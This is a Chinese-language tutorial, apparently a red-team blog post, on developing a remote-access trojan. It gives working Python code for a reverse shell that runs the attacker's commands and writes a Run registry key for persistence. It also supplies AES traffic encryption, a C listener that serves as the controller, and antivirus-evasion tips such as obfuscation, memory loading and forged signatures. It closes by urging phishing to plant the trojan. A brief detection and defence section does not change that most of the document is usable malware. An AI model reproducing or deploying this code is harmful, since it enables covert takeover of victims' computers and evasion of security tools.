一、木马的核心架构设计
在进行远控木马开发前,我们需要清楚地定义其架构。一个高质量的远控木马不仅仅是能够执行远程控制功能,还需要具备隐蔽性、可扩展性和稳定性。

架构核心模块
- 通信模块:用于与控制端进行数据交换,通常基于 HTTP、WebSocket 或自定义加密协议。
- 控制模块:负责接收指令并执行,如键盘记录、屏幕捕获、文件操作等。
- 免杀模块:通过混淆、内存加载等技术,绕过杀毒软件和 EDR。
- 持久化模块:保证木马在目标系统重启后依旧存活。
系统设计思路
我们的目标是设计一个轻量级、高隐蔽的木马,能够进行基本的远程控制操作。这里我们选择使用 Python 作为开发语言进行快速原型开发,同时使用 C 语言创建主控端,以提升性能。
以下是木马的系统架构:
<pre><code>+--------------------------------------+ | 控制端 | | - 指令输入 | | - 数据接收 | +--------------------------------------+
⇔ 加密通信(AES/TLS) ⇔
+--------------------------------------+ | 目标端 | | - 木马核心 | | - 持久化 | | - 文件操作、屏幕捕获等功能 | +--------------------------------------+</code></pre>
该架构可以进一步结合 C2(Command and Control Server)基础设施,将木马上报的数据存储在控制端的数据库中。
---
二、搭建远控测试环境
在攻击过程中,环境搭建非常关键。如果环境错误,可能导致木马功能无法测试。以下是详细步骤:
环境要求
- 虚拟机:建议使用 VMware 或 VirtualBox,安装 Windows 10 进行模拟测试。
- Python版本:建议使用 Python 3.9 以上,因其兼容性强,且支持较多现代库。
- 工具准备:
- Wireshark:用于捕获木马通信流量。
- PyInstaller:用于打包 Python 脚本。
- Visual Studio:用于编写 C 语言主控端代码。
网络模拟
为了模拟真实攻击环境,我们可以搭建一个局域网环境:
- 设置攻击机(控制端)与受害机(目标端)在同一网段。
- 配置一个代理服务器(如 Nginx),用于流量转发,模拟 C2 的功能。
此外,为了规避直接暴露 IP,我们可以使用 ngrok 或 frp 创建公网隧道,将目标端通信流量转发到攻击机。
---
三、核心功能开发:目标端木马实现
Python木马的基础实现
以下是一个简单的远控木马代码,具备基础的反向连接与指令执行功能:
<pre><code class="language-python">import socket import os import subprocess
配置控制端地址
HOST = "192.168.1.100" # 攻击机IP PORT = 4444 # 攻击机监听端口
创建反向连接
def connect_back(): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: s.connect((HOST, PORT)) while True:
接收命令
command = s.recv(1024).decode("utf-8") if command.lower() == "exit": break try:
执行命令并返回结果
result = subprocess.check_output(command, shell=True) s.send(result) except Exception as e: s.send(str(e).encode("utf-8")) except Exception as e: print(f"连接失败:{e}") finally: s.close()
持久化(注册表写入)
def persist():
注意:此代码在测试时仅运行于虚拟机,避免污染真实系统
startup_key = r"Software\Microsoft\Windows\CurrentVersion\Run" reg_command = f'reg add "{startup_key}" /v "MyMalware" /t REG_SZ /d "{os.getcwd()}\\malware.exe" /f' subprocess.call(reg_command, shell=True)
if __name__ == "__main__":
持久化木马
persist()
建立反向连接
connect_back()</code></pre>
代码解析
- 反向连接:目标端主动连接控制端,这样可以绕过防火墙出站规则。
- 指令执行:通过
subprocess模块执行控制端发送的命令,并将结果返回。 - 持久化:将木马添加到注册表的启动项中,保证每次系统启动时自动运行。
---
四、通信加密与免杀技术
加密通信
简单的明文通信很容易被流量分析工具检测。以下是使用 AES 加密指令内容的改进版本:
<pre><code class="language-python">from Crypto.Cipher import AES import base64
加密密钥(必须与控制端匹配)
KEY = b"abcdefghijklmnop" # 16字节密钥

def encrypt(data): cipher = AES.new(KEY, AES.MODE_ECB) padded_data = data + (16 - len(data) % 16) * chr(16 - len(data) % 16) encrypted = cipher.encrypt(padded_data.encode("utf-8")) return base64.b64encode(encrypted)
def decrypt(encrypted_data): cipher = AES.new(KEY, AES.MODE_ECB) raw_data = base64.b64decode(encrypted_data) decrypted = cipher.decrypt(raw_data).decode("utf-8") return decrypted.rstrip(chr(decrypted[-1]))</code></pre>
此代码在指令传输前进行加密,保证流量隐蔽性。
免杀技巧
- 代码混淆:使用工具如
pyarmor对 Python 代码进行加密混淆。 - 内存加载:将木马加载至内存,避免落地文件被杀毒软件扫描。
- 签名伪造:使用合法软件的数字签名,提升可信度。
---
五、主控端实现与演示
C语言主控端示例
以下是一个简单的控制端代码,负责接收目标端的反向连接,并发送指令。
<pre><code class="language-c">#include <stdio.h>
include <stdlib.h>
include <string.h>
include <winsock2.h>
pragma comment(lib, "ws2_32.lib")
define PORT 4444
void handle_connection(SOCKET client) { char buffer[1024]; while (1) { printf("请输入指令: "); fgets(buffer, 1024, stdin); send(client, buffer, strlen(buffer), 0);
if (strncmp(buffer, "exit", 4) == 0) { break; }
memset(buffer, 0, sizeof(buffer)); recv(client, buffer, 1024, 0); printf("目标返回: %s\n", buffer); } }
int main() { WSADATA wsa; SOCKET server, client; struct sockaddr_in server_addr, client_addr; int client_size;
WSAStartup(MAKEWORD(2, 2), &wsa); server = socket(AF_INET, SOCK_STREAM, 0);
server_addr.sin_family = AF_INET; server_addr.sin_addr.s_addr = INADDR_ANY; server_addr.sin_port = htons(PORT);
bind(server, (struct sockaddr*)&server_addr, sizeof(server_addr)); listen(server, 5);
printf("等待连接...\n"); client_size = sizeof(client_addr); client = accept(server, (struct sockaddr*)&client_addr, &client_size); printf("连接成功!\n");
handle_connection(client);
closesocket(client); closesocket(server); WSACleanup(); return 0; }</code></pre>
演示流程
- 启动控制端,监听端口。
- 在目标端运行木马,连接到控制端。
- 在控制端输入指令,观察目标端的执行结果。
---
六、检测与防御
作为安全研究人员,我们还需探讨如何检测与防御远控木马。
检测方法
- 流量分析:使用 Wireshark 捕获异常的出站流量,如反向连接通信。
- 行为监控:通过 EDR 检测注册表修改和异常进程行为。
- 文件扫描:利用杀毒软件扫描落地文件。
防御建议
- 禁止高危端口(如 4444)的出站流量。
- 配置终端安全工具,实时监测内存中的可疑行为。
- 定期检查启动项和注册表,发现异常条目及时清除。

---
七、红队经验分享
开发远控木马时,一定要注重隐蔽性和稳定性。以下是一些实战经验:
- 分层设计:将木马功能模块化,便于后续扩展。
- 动态加载:避免一次性加载所有功能,降低被检测风险。
- 多协议支持:除了 TCP,还可以尝试基于 DNS、HTTP 的 C2 通信。
最终,木马只是远控攻击的一环,如何结合社工钓鱼等手段植入目标系统,才是红队行动的重点。